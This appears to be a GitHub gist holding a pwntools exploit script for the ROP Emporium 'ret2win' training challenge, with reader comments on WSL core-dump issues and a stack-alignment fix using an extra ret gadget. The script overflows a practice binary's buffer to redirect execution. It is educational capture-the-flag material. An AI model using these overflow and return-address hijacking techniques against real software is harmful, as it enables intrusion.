Example Exploit for ROP Emporium's ret2win Challenge Raw

win.py

from pwn import *

# Set up pwntools to work with this binary
elf = context.binary = ELF('ret2win')

# Enable verbose logging so we can see exactly what is being sent.
context.log_level = 'debug'

# Print out the target address
info("%#x target", elf.symbols.ret2win)

# Figure out how big of an overflow we need by crashing the
# process once.
io = process(elf.path)

# We will send a 'cyclic' pattern which overwrites the return
# address on the stack.  The value 128 is longer than the buffer.
io.sendline(cyclic(128))

# Wait for the process to crash
io.wait()

# Open up the corefile
core = io.corefile

# Print out the address of RSP at the time of crashing
stack = core.rsp
info("%#x stack", stack)

# Read four bytes from RSP, which will be some of our cyclic data.
#
# With this snippet of the pattern, we know the exact offset from
# the beginning of our controlled data to the return address.
pattern = core.read(stack, 4)
info("%r pattern", pattern)

# Craft a new payload which puts the "target" address at the correct offset
payload = fit({
    pattern: elf.symbols.ret2win
})

# Send the payload to a new copy of the process
io = process(elf.path)
io.sendline(payload)
io.recvuntil("Here's your flag:")

# Get our flag!
flag = io.recvline()
success(flag)

D'oh. For anyone who experiences this, check first /proc/sys/kernel/core_pattern and make sure you aren't piping it somewhere and make sure you aren't in a shared folder within a VM. They are not writable when the core dumb occurs for some reason.

D'oh. For anyone who experiences this, check first /proc/sys/kernel/core_pattern and make sure you aren't piping it somewhere and make sure you aren't in a shared folder within a VM. They are not writable when the core dumb occurs for some reason.

Although my issue was kind of different your comment gave me a better perspective.

Problem

I got stuck trying to find the reason for not having a /proc/sys/kernel/core_pattern available. As I was running through the Windows Subsystem for Linux (Ubuntu 20.04) I had a feeling the VM instance was not writing the core dumps properly.

The first issue was that I got empty output from dmesg -t (I kind of ignored that part). And then when I tried using the Python script above I got No such file or directory from:

core = io.corefile

Solution

A bit of background here:

• microsoft/WSL#1262

The solution was to run my Windows Subsystem for Linux as WSL 2 instead of 1 and then restart my WSL instance:

• https://docs.microsoft.com/en-us/windows/wsl/install-win10#set-your-distribution-version-to-wsl-1-or-wsl-2

I put the following into PowerShell based on the link above:

> wsl -l -v
  NAME            STATE           VERSION
* Ubuntu-20.04    Running         1

> wsl --set-version Ubuntu-20.04 2

> wsl -l -v
  NAME            STATE           VERSION
* Ubuntu-20.04    Stopped         2

And now core_pattern was available in the Ubuntu shell:

$ ll /proc/sys/kernel/core_pattern
-rw-r--r-- 1 root root 0 Jul  2 14:17 /proc/sys/kernel/core_pattern

And I could get output from dmesg -t:

$ dmesg -t
ret2win[316]: segfault at a5858585858 ip 00000a5858585858 sp 00007ffca7a45280 error 14 in libc-2.31.so[7fb8985d5000+25000]

Align the stack with an extra ret gadget:

offset = cyclic_find(pattern)
payload = flat(
    b"A" * offset,
    p64(0x400755), # `pwnme`'s ret `0x0000000000400755 <+109>:   ret`
    p64(elf.symbols.ret2win),
)

@wulfgarpro

Thanks! This was the fix to my payload. Why does the stack get misaligned? This was not an issue with x86 binary

@wulfgarpro

Thanks! This was the fix to my payload. Why does the stack get misaligned? This was not an issue with x86 binary

See, https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul.

Namely,

This includes using movaps for 16-byte loads/stores to copy stuff around on the stack, taking advantage of the incoming alignment guarantee.